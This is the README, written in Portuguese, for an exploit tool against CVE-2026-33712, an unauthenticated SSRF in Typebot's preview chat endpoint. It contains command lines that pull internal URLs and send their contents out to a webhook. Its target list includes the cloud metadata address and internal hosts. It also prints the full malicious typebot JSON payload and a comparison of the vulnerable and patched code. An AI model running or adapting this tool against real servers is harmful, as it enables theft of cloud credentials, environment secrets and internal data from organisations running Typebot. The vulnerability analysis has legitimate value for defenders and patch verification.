
CVE-2026-33712 - Typebot <= 3.15.2 Unauthenticated SSRF via isolated-vm sandbox fetch
Typebot <= 3.15.2 (corrigido na versão 3.16.0) contém uma vulnerabilidade de Server-Side Request Forgery (SSRF) não autenticada no endpoint de chat de pré-visualização.
Endpoint: POST /api/v1/typebots/{typebotId}/preview/startChat
O endpoint de pré-visualização aceita uma definição de typebot fornecida pelo usuário com blocos de código do lado do servidor. A função fetch() exposta no sandbox isolated-vm chama o fetch nativo do Node.js sem a validação SSRF validateHttpReqUrl() que protege o bloco de requisição HTTP normal. Isso contorna todas as mitigações de SSRF.
Esta ferramenta é fornecida apenas para fins educacionais e testes de segurança autorizados. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal. O autor não se responsabiliza por qualquer uso indevido ou danos causados por esta ferramenta.
__ENV.js| Arquivo | Descrição |
|---|---|
exploit.py | Script principal do exploit |
endpoints.txt | Uma URL por linha — alvos SSRF para escanear |
requirements.txt | Dependências Python |
pip install -r requirements.txt
# Single SSRF request
python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid
# Scan all URLs from endpoints.txt
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan
# Auto-detect viewer URL from builder's __ENV.js
python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan
# Skip pre-flight and force execution
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force
bot.example.com sem http://, ele é adicionado automaticamente.vulnerable, patched (autenticação necessária) ou endpoint_missing (URL/versão errada). Sai antecipadamente em caso de falha, a menos que --force esteja definido.endpoints.txt, itera cada URL, exfiltra o conteúdo para o webhook.Uma URL bruta por linha. Linhas em branco são ignoradas. Sem comentários, sem categorias.
http://127.0.0.1:3000/__ENV.js
http://typebot-builder:3000/
http://169.254.169.254/latest/meta-data/
Em packages/variables/src/executeFunction.ts, o fetch() exposto no sandbox isolated-vm originalmente chamava o fetch nativo do Node.js sem validação SSRF:
// VULNERABLE (<=3.15.2):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const res = await fetch(input, init); // No validateHttpReqUrl!
return res.text();
}),
});
// PATCHED (>=3.16.0):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const request = new Request(input, init);
await validateHttpReqUrl(request.url); // SSRF check added
validateHttpReqHeaders(headers);
}),
});
A correção (commit d96f572) também reordenou as verificações em getTypebot() para que a validação de autenticação seja executada antes do atalho do typebot personalizado, e moveu o endpoint de pré-visualização do visualizador de procedureWithOptionalUser para protectedProcedure.
{
"typebotId": "exploit-id",
"typebot": {
"version": "6",
"id": "exploit-bot",
"workspaceId": "test",
"updatedAt": "2026-01-01T00:00:00.000Z",
"groups": [
{
"id": "group-1", "title": "Start",
"graphCoordinates": {"x": 0, "y": 0},
"blocks": [
{"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
]
},
{
"id": "group-2", "title": "SSRF",
"graphCoordinates": {"x": 200, "y": 0},
"blocks": [
{
"id": "block-2", "type": "Code",
"outgoingEdgeId": "edge-2",
"options": {
"name": "SSRF",
"content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
"isExecutedOnClient": false,
"isUnsafe": true
}
}
]
}
],
"edges": [
{"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
],
"events": [
{"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
],
"variables": [
{"id": "var-1", "name": "result", "value": null}
],
"settings": {"general": {}},
"theme": {"general": {}, "chat": {}}
}
}
Importante: fetch() dentro do sandbox já retorna .text(), então o resultado é uma string, não um objeto Response.
| Arg | Descrição |
|---|
-t / --target | URL da instância do Typebot (visualizador ou construtor). Esquema padrão é http:// |
-u / --url | URL interna a ser obtida via SSRF (modo único) |
-w / --webhook | URL do webhook para dados exfiltrados (ou variável de ambiente WEBHOOK_URL) |
--scan | Escanear todas as URLs de endpoints.txt |
--detect-viewer | Investigar /__ENV.js no alvo para encontrar NEXT_PUBLIC_VIEWER_URL e usá-la |
--force | Pular verificações preliminares e forçar execução |
--timeout | Tempo limite da requisição (padrão: 20s) |
--delay | Atraso entre requisições de escaneamento (padrão: 0.3s) |